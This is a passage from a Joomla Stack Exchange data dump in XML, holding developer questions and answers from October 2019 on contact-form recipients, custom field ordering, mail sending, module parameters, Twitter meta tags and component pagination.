$this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email_2 ) ? $this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email_2 : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then search for this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= '&amp;lt;input type=&quot;hidden&quot; name=&quot;recipient&quot; value=&quot;' . base64_encode( $recipient_email ) . '&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add the following below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= '&amp;lt;input type=&quot;hidden&quot; name=&quot;recipient-2&quot; value=&quot;' . base64_encode( $recipient_email_2 ) . '&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;public function getAjax()&lt;/code&gt; under the &lt;code&gt;//inputs&lt;/code&gt; search for this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( $input[ 'name' ] == 'recipient' ) {&#xA;    $recipient = base64_decode( $input[ 'value' ] );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Proceed to add this below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( $input[ 'name' ] == 'recipient-2' ) {&#xA;    $recipient_2 = base64_decode( $input[ 'value' ] );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then search for this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail-&amp;gt;setSender( $sender );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add this code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $recipient_2 ) &amp;amp;&amp;amp; !empty( $recipient_2 ) ) {&#xA;  $recipientArray = array( $recipient, $recipient_2 );&#xA;  $mail-&amp;gt;addRecipient( $recipientArray );&#xA;} else {&#xA;  $mail-&amp;gt;addRecipient( $recipient );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it! You should see a new field in the administrator and it should works as expected with one recipient or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J0oJA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0oJA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps! Regards.&lt;/p&gt;&#xA;" OwnerUserId="13335" LastActivityDate="2019-10-04T14:55:01.323" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26231" PostTypeId="1" AcceptedAnswerId="26234" CreationDate="2019-10-04T15:00:11.947" Score="1" ViewCount="385" Body="&lt;p&gt;For articles, I have created two custom fields and I have registered both in a field group -- this much is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to change the order in which the fields are displayed on the page. I didn't find a way to do it from the backend interface. The order seems to be related to the id of the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this from within the administrator interface or do I have to go into the database and manually modify the IDs of the fields?&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="12352" LastEditDate="2019-10-05T02:36:11.217" LastActivityDate="2019-10-05T14:00:01.313" Title="How to change custom field order in field group?" Tags="|administrator|custom-field|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26232" PostTypeId="1" AcceptedAnswerId="26233" CreationDate="2019-10-04T15:52:13.167" Score="1" ViewCount="55" Body="&lt;p&gt;I want to add analytics tracking code before the component com_weblinks jumps to an external site with task=weblink.go.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the jump is in the controller.php file. An override for this is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify/add code to the controller to be saved after the next update?  &lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="12352" LastEditDate="2019-10-04T20:35:50.877" LastActivityDate="2019-10-05T13:52:50.337" Title="Add custom code to the controller from com_weblinks" Tags="|joomla-3.x|component|controller|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26233" PostTypeId="2" ParentId="26232" CreationDate="2019-10-05T13:52:50.337" Score="1" Body="&lt;p&gt;Looking at how Weblinks works I can see that the only time weblinks.go gets involved is when you have have an option selected to count Hits for each link causing view.html.php to display this style of link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;link = JRoute::_('index.php?option=com_weblinks&amp;amp;task=weblink.go&amp;amp;id=' . $item-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at line 88 of default_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you could 'intercept' that link that is created via a plugin of your own or something like re-replacer to change the option and task values, or the whole link, to point to some piece of code that you have written that will add your link name to the analytics measurement protocol. The Plugin would probably use the onContentBefore something event to make the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the end users clicks on a link they would go to your piece of code first and then you pass the processing back to weblinks and through to weblinks.go to do its bit, before it directs the end user to the linked site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intercepting the process via the above approach means you only have an ID and not the actual URL when you get into your code so you will need do a bit of processing to query the ID to get the related URL so you can pass that to Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could create an override category/view/tmpl/default_item.php to display the link how you want with both the id and url to pass to your code and not involve an onContentBefore plugin or re-replacer type function. And if you don't want to count Hits in weblinks you don't have to go to weblinks.go at all nor do you need the ID.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-05T13:52:50.337" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26234" PostTypeId="2" ParentId="26231" CreationDate="2019-10-05T14:00:01.313" Score="3" Body="&lt;p&gt;The order of the fields in the field group is determined by the order the fields appear in the fields page. You can therefore use the up/down arrows on the left to drag and drop the fields in the order you want and they will be displayed in that order in your field group when displayed in your component.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-05T14:00:01.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26235" PostTypeId="1" CreationDate="2019-10-06T08:54:01.017" Score="1" ViewCount="147" Body="&lt;p&gt;I am trying to update the Joomla version and T3-Framework version of our website and there seems to be a bug somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current JOOMLA version: &lt;strong&gt;3.7.4&lt;/strong&gt;&#xA;Current T3-FRAMEWORK version: &lt;strong&gt;2.4.1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first update joomla from &lt;strong&gt;3.7.4&lt;/strong&gt; to &lt;strong&gt;3.7.5&lt;/strong&gt; without updating the T3-framework. All works fine, but I have to keep updating to the latest versions and therefore I then update Joomla to the next version which is &lt;strong&gt;3.8.0&lt;/strong&gt; and then this error comes up:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*Fatal error: Cannot redeclare class JModuleHelper in C:\xampp\htdocs\taus-up\plugins\system\t3\includes\joomla30\modulehelper.php on line 38&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which is clear that it comes from the t3-framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then thought that I should start updating the T3 to keep up with the Joomla versions and I do so by immediately jumping from &lt;strong&gt;2.4.1&lt;/strong&gt; to &lt;strong&gt;2.6.4&lt;/strong&gt; (as I was not able to find earlier versions) only to get the same error but on different line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot redeclare class JModuleHelper in C:\xampp\htdocs\taus-up\plugins\system\t3\includes\joomla30\modulehelper.php on line 20&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I kept updating until version &lt;strong&gt;2.7.0&lt;/strong&gt; and then the site loaded, but the landing pages on our website are made via Custom Modules and therefore we only get blank white pages since the new error has to do with the advancedmodules plugin. Essentially, we had only the header and the footer working fine and in between just blank white space and the following warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Invalid argument supplied for foreach() in C:\xampp\htdocs\taus-up\plugins\system\advancedmodules\advancedmodulehelper.php on line 14&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We kept updating until Joomla version &lt;strong&gt;3.9.3&lt;/strong&gt; (as this is the latest compatible version with the latest T3-framework version) and T3-framework latest version &lt;strong&gt;2.7.4&lt;/strong&gt; but nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then started digging into the files and opened the whole website folder as a project on PhpStorm and search for the function &quot;onPrepareModuleList&quot; as this is responsible for the error. I was able to trace down all of the places in the code where this function is being called and found out that if I comment out this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;registerEvent('onPrepareModuleList', array($class, 'onPrepareModuleList'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is at the file &lt;strong&gt;/plugins/system/advancedmodules/helper.php&lt;/strong&gt; on line 46, the website loads normally again.  However, I cannot understand why this would cause such a problem and how can this be fixed correctly and not by randomly commenting out lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, by doing this fix even if the website loads back again normally there seems to be some strange behavior in the modules in general and some modules are being displayed in places where these aren't assigned to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. If we don't update Joomla and leave it at &lt;strong&gt;3.7.4&lt;/strong&gt; and simply update only T3-framework to the latest version &lt;strong&gt;2.7.4&lt;/strong&gt; everything works fine and it seems like T3 works fine on older Joomla versions like &lt;strong&gt;3.7.x&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a solution though as we cannot leave Joomla un-updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else come up with this case before? Could anyone provide some knowledge on this and some help?&lt;/p&gt;&#xA;" OwnerUserId="12791" LastEditorUserId="12352" LastEditDate="2019-10-06T09:14:13.890" LastActivityDate="2019-10-06T09:14:13.890" Title="Error coming from T3-framework while updating Joomla" Tags="|update|custom-module|t3-framework|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26236" PostTypeId="1" CreationDate="2019-10-06T19:15:38.017" Score="2" ViewCount="20" Body="&lt;p&gt;While programming a Joomla extension, I experimented with Menu Types, however while editing/deleting/adding types in the default.xml it doesn't delete the previous ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while I only have 1 menu type defined in the default.xml it still shows all the 'old' ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete those? I've looked in the database but can't find the reference the these menu types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_GCMAILS_MAILING_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;COM_GCMAILS_MAILING_VIEW_DEFAULT_DESC&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the menu still shows:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lHInn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHInn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13823" LastEditorUserId="12352" LastEditDate="2019-10-07T05:42:28.850" LastActivityDate="2019-10-07T05:42:28.850" Title="Deleting obsolete menu types" Tags="|joomla-3.x|extensions|menu|xml|extension-update|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26237" PostTypeId="1" CreationDate="2019-10-07T13:45:52.397" Score="0" ViewCount="97" Body="&lt;p&gt;I have two separate forms - a user form and an incident form. In the user submission view, I need to generate a link to all incidents that the user may have. These users may have more than one incident and these incidents are all recorded as individual form submissions from the incident form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to import data from one form to another, just provide a link to the incident submissions. It seems simple enough and I've be trying to figure this out but have not cracked it yet. I've been a user of RSform for a few years but have not come across anything this complicated yet (for me atleast) with my experience with it this component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or advice would be appreciated. Much thanks!&lt;/p&gt;&#xA;" OwnerUserId="11435" LastActivityDate="2019-10-07T13:45:52.397" Title="Add link to another form's submission view" Tags="|rsform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26238" PostTypeId="1" AcceptedAnswerId="26239" CreationDate="2019-10-08T05:20:10.003" Score="0" ViewCount="50" Body="&lt;p&gt;I'm using a custom function in my controller to send emails, but the emails are not being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sendestimation()&#xA;{&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $email = $jinput-&amp;gt;get('email');&#xA;    $contt = $jinput-&amp;gt;get('contt');&#xA;&#xA;    $mailer = JFactory::getMailer();&#xA;&#xA;    $config = JFactory::getConfig();&#xA;    $sender = array( &#xA;        $config-&amp;gt;get( 'mailfrom' ),&#xA;        $config-&amp;gt;get( 'fromname' ) &#xA;    );&#xA;&#xA;    $recipient = $email;&#xA;&#xA;    $mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;    $body   = $contt;&#xA;    $mailer-&amp;gt;isHtml(true);&#xA;    $mailer-&amp;gt;Encoding = 'base64';&#xA;    $mailer-&amp;gt;setBody($body);&#xA;&#xA;    $send = $mailer-&amp;gt;Send();&#xA;    if ( $send !== true ) {&#xA;        echo 'Error sending email: ';&#xA;    } else {&#xA;        echo 'Mail sent';&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error sending email&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so the email is not being sent and there is no email sent to my inbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried Joomla's send email test and received:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;L'e-mail a bien été envoyé à support@myemail.com utilisant SMTP. Vérifier que vous avez reçu l'e-mail de test.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;[The email has been sent to support@myemail.com using SMTP. Check that you have received the test e-mail.]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="12352" LastEditDate="2019-10-08T22:34:07.970" LastActivityDate="2019-10-08T22:34:07.970" Title="emails not sent from controller" Tags="|joomla-3.x|jmail|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26239" PostTypeId="2" ParentId="26238" CreationDate="2019-10-08T06:05:27.503" Score="0" Body="&lt;p&gt;The default &lt;code&gt;CMD&lt;/code&gt; filter used by &lt;code&gt;Joomla\Input\Input::get()&lt;/code&gt; strips out &lt;code&gt;@&lt;/code&gt; character from the email address resulting in invalid address. Use a different filter like &lt;code&gt;STRING&lt;/code&gt; to keep the character.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email = $jinput-&amp;gt;get('email', null, 'STRING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-08T06:05:27.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26244" PostTypeId="1" AcceptedAnswerId="26245" CreationDate="2019-10-09T14:07:21.830" Score="2" ViewCount="213" Body="&lt;p&gt;I need to get all other module field-params of the current module inside of a custom form field in backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In tmpl/default.php it works with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bgcolor = $params-&amp;gt;get('bgcolor');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in custom field file &lt;strong&gt;/fields/myfield.php&lt;/strong&gt; it doesn´t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_featured_image');&#xA;$moduleParams = new JRegistry($module-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$params = $app-&amp;gt;getParams('mod_featured_image');&#xA;$param = $params-&amp;gt;get('module_tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without success.&lt;/p&gt;&#xA;" OwnerUserId="12766" LastActivityDate="2019-10-09T19:24:05.923" Title="Get module params in custom form field" Tags="|joomla-3.x|module|custom-field|module-params|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26245" PostTypeId="2" ParentId="26244" CreationDate="2019-10-09T19:24:05.923" Score="1" Body="&lt;p&gt;Get the value from current form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bgcolor = $this-&amp;gt;form-&amp;gt;getField('bgcolor', 'params')-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-09T19:24:05.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26246" PostTypeId="1" AcceptedAnswerId="26262" CreationDate="2019-10-11T13:33:48.167" Score="0" ViewCount="95" Body="&lt;p&gt;I have a site where registered users can add content in the frontend and when added administrators are sent an email, notifying them of a new article. This is driven by languages constants:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_CONTENT_NEW_ARTICLE&#xA;COM_CONTENT_ON_NEW_CONTENT&#xA;COM_MESSAGES_PLEASE_LOGIN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the constant COM_MESSAGES_PLEASE_LOGIN, there is a URL link to the message within Joomla, which according to the language file is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Please log in to %s to read your message.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I want to update this to show a link to the article within the backend, which I can build from the ID of the article and category etc... However, where are these messages handled from within Joomla? Or where can I change the content within %s shown in the message?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2019-10-14T12:07:34.297" Title="Change the 'New Article' message sent to admins" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26247" PostTypeId="2" ParentId="3690" CreationDate="2019-10-11T20:14:16.357" Score="2" Body="&lt;p&gt;I had the same problem on twitter. I was trying to add my link picture just as facebook does automatically but had to investigate the CARD Validator here &lt;a href=&quot;https://cards-dev.twitter.com/validator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cards-dev.twitter.com/validator&lt;/a&gt; ...Tthe way I have it working on Joomla 3.9.11 is adding this code in the head of my template default.php ... I was able to properly add the title, the description and the right picture, usually the first one on the article. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;//Added for TWITTER&#xA;$option = JRequest::getCmd('option');&#xA;$view = JRequest::getCmd('view');&#xA;if ($option==&quot;com_content&quot; &amp;amp;&amp;amp; $view==&quot;article&quot;) {&#xA;    $ids = explode(':',JRequest::getString('id'));&#xA;    $article_id = $ids[0];&#xA;    $article =&amp;amp; JTable::getInstance(&quot;content&quot;);&#xA;    $article-&amp;gt;load($article_id);&#xA;    $theArticle = $article-&amp;gt;get(&quot;title&quot;);&#xA;    $theImages = $article-&amp;gt;get(&quot;images&quot;);   &#xA;    $pictures = json_decode($theImages); // Split the parameters apart&#xA;    $timage= &quot;http://yourdomain.com/&quot;.$pictures-&amp;gt;{'image_intro'};&#xA;}&#xA;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addCustomTag( '&#xA;&amp;lt;meta name=&quot;twitter:title&quot; content=&quot;'.mb_strimwidth(strip_tags($theArticle),0,225, &quot; ...&quot;).'&quot;=&quot;&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:site&quot; content=&quot;yoursite&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:creator&quot; content=&quot;yourcreator&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:url&quot; content=&quot;'.JURI::current().'&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:description&quot; content=&quot;'.mb_strimwidth(strip_tags($doc-&amp;gt;getMetaData( 'description' )),0,225, &quot; ...&quot;).'&quot;=&quot;&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:image&quot; content=&quot;'.$timage.'&quot;&amp;gt;&#xA;');&#xA;?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;    &amp;lt;?php $this-&amp;gt;loadBlock('head') ?&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13832" LastActivityDate="2019-10-11T20:14:16.357" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26249" PostTypeId="2" ParentId="26246" CreationDate="2019-10-11T23:38:11.747" Score="0" Body="&lt;p&gt;The email that is sent to you is coming from com_messages and in particular the email is generated from /administrator/components/com_messages/models/messages.php around line 362&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this code is only sending a notification email to you to say that some other process has put a message into your inbox via the com_messages component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code from 362 to 372 and the last couple of lines is where your change needs to happen &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Build the email subject and message&#xA;    $app      = JFactory::getApplication();&#xA;    $linkMode = $app-&amp;gt;get('force_ssl', 0) &amp;gt;= 1 ? Route::TLS_FORCE : Route::TLS_IGNORE;&#xA;    $sitename = $app-&amp;gt;get('sitename');&#xA;    $fromName = $fromUser-&amp;gt;get('name');&#xA;    $siteURL  = JRoute::link('administrator', 'index.php?option=com_messages&amp;amp;view=message&amp;amp;message_id=' . $table-&amp;gt;message_id, false, $linkMode, true);&#xA;    $subject  = html_entity_decode($table-&amp;gt;subject, ENT_COMPAT, 'UTF-8');&#xA;    $message  = strip_tags(html_entity_decode($table-&amp;gt;message, ENT_COMPAT, 'UTF-8'));&#xA;&#xA;    $subj     = sprintf($lang-&amp;gt;_('COM_MESSAGES_NEW_MESSAGE'), $fromName, $sitename);&#xA;    $msg      = $subject . &quot;\n\n&quot; . $message . &quot;\n\n&quot; . sprintf($lang-&amp;gt;_('COM_MESSAGES_PLEASE_LOGIN'), $siteURL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-11T23:38:11.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26250" PostTypeId="1" AcceptedAnswerId="26251" CreationDate="2019-10-12T05:09:46.213" Score="2" ViewCount="458" Body="&lt;p&gt;Following the &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Basic_backend#Basic_backend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component / Basic backend&lt;/a&gt; guide, I can't make the pagination to work, following the instructions this is the code I have, the records are listed properly and the pagination component is drawn, but when I click on any of the pages the page browser scroll only goes up without redirecting. I welcome your suggestions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_demo/views/demo/view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class DemoViewDemo extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        $this-&amp;gt;addToolBar();&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;    protected function addToolBar()&#xA;    {&#xA;        JToolbarHelper::title(JText::_('COM_DEMO_TITLE'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_demo/models/demo.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class DemoModelDemo extends JModelList&#xA;{&#xA;    protected function getListQuery()&#xA;    {&#xA;        $dbo = JFactory::getDbo();&#xA;&#xA;        $query = $dbo-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select('*')-&amp;gt;from('#__demo');&#xA;&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_demo/views/demo/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;index.php?option=com_demo&amp;amp;view=demo&quot; method=&quot;post&quot; id=&quot;adminForm&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-hover table-striped table-hover table-bordered&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th width=&quot;1%&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;9%&quot;&amp;gt;item1&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;10%&quot;&amp;gt;item2&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;50%&quot;&amp;gt;item3&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;5%&quot;&amp;gt;item4&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;5%&quot;&amp;gt;item5&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;10%&quot;&amp;gt;item6&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;10%&quot;&amp;gt;item7&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;&#xA;        &amp;lt;tfoot&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;8&quot;&amp;gt;&#xA;                    &amp;lt;?= $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;items as $index =&amp;gt; $item): ?&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $this-&amp;gt;pagination-&amp;gt;getRowOffset($index); ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $item-&amp;gt;domain ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $item-&amp;gt;firstName ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $item-&amp;gt;lastName ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $item-&amp;gt;label ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= $item-&amp;gt;location ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= HTMLHelper::_('date', $item-&amp;gt;date_entered, JText::_('DATE_FORMAT_LC5')) 